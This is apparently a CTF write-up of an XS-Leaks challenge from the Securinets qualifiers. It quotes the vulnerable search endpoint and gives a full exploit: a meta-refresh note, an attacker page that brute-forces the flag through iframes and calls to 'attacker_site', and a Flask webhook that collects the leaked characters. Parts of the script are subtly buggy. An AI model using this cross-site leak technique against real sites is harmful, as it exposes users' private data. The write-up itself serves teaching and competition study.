tl;dr
- Create a note with meta redirect tag to get callback.
- Leak the flag using search functionality.
I was confused and didn’t know what’s the approproate name for this website :( However just a typical note keeper website \o/ Enjoy the ride :)
This was an interesting XS-Leaks challenge from Securinets CTF qualfiiers, which had the least number of solves among web challenges.
In this challenge, we were given a note creating app and there was a search functionality where we can search note content. This seemed like a place to look for bugs like XS-Leaks.
The source code for search endpoint is given below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| @app.route('/search')
def search():
if 'username' not in session:
return redirect('/login')
if 'query' not in request.args:
return redirect('/home')
query = str(request.args.get('query'))
results = get_pastes(session['username'])
res_content=[{"id":id,"val":get_paste(id)} for id in results]
if ":" in query:
toGo=get_paste(query.split(":")[1])
sear=query.split(":")[0]
else:
toGo=res_content[0]["val"]
sear=query
i=0
for paste in res_content:
i=i+1
if i>5:
return redirect("/view?id=MaximumReached&paste="+toGo.strip())
if sear in paste["val"]:
return redirect("/view?id=Found&paste="+toGo.strip())
return render_template("search.html",error='No results found.',result="")
|
The following happens when a request is made to /search
endpoint.
- The
query
argument is split based on :
. - First part of
query
is the note content which will be searched in current user’s note. - The second part of
query
is a note id, to which the user will be redirected to when a note which matches the search is found.
Thus, the query argument takes the following format.
/search?query=substring:note_id
It is also to be noted that HTML can be inserted as a note, but there is a strict CSP which blocks us from executing JavaScript.
1
| <meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'">
|
To exploit, we can use the /search
endpoint. We check if there’s any note that contains a particular string and if present, we redirect to a note that contains an HTML code that can give the webhook server a callback.
This can be done using a <meta>
refresh tag.
1
| <meta http-equiv="refresh" content="0;url=http://site/webhook">
|
However, there was a timeout which limits the time that bot stays in the given URL.
1
2
3
4
| await page2.goto(website,{
waitUntil: 'networkidle0',
timeout:60000
}); // Opens page as logged user
|
But, waitUntil: 'networkidle0'
means the bot will wait until there is no network connection for at least 500ms. So, it is possible to we can load a image which will delay the timeout.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| <!DOCTYPE html>
<html>
<body>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
chars="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}"
char=""
webhookid="HNDMTOGDSWTAPQH397PIXAXKZ79QUWHQSE96RVSU6C5PZGGN5G5Z5L3R1FQN3FTJ"
window.webHook = "http://attacker_site/"
window.url=`https://20.124.0.135/search?query=Securinets{${char}:${webhookid}`
var temp= document.createElement("iframe")
temp.setAttribute("src", url)
document.body.appendChild(temp)
let know = "Securinets{"
async function checker(){
for(var i=0; i<chars.length; i++){
char=Known+chars[i];
await fetch('/log?current='+char)
temp.src=`https://20.124.0.135/search?query=${char}:${webhookid}`
await sleep(3000);
let resp = await fetch('/progress')
let found = await resp.text()
if(found != know){
know = found
return;
}
}
}
while (know[-1] != '}'){
checker();
}
</script>
<img src="http://sleep_url/"> <!-- Sleeps infinitely -->
</body>
</html>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| from flask import Flask,request,render_template,session,redirect
app = Flask(__name__)
found = ""
letter = ""
@app.route("/")
def welcome():
return render_template("index.html")
@app.route("/log")
def log():
global found, letter
letter = request.args.get("current")
return found
@app.route("/webhook")
def webhook():
global found, letter
found = found + letter
return found
@app.route("/progress")
def progress():
global found
return found
if __name__=="__main__":
app.run(host="0.0.0.0", debug=True, port=8085)
|
With the above exploit, whenever a note that matches a substring of the flag, the bot gets redirected to a webhook server.
There were many interesting solutions for this challenge like abuse the redirect in the search with fetch redirect limit. Solving this challenge was fun and learnt a lot with it.
Originally posted on blog.bi0s.in.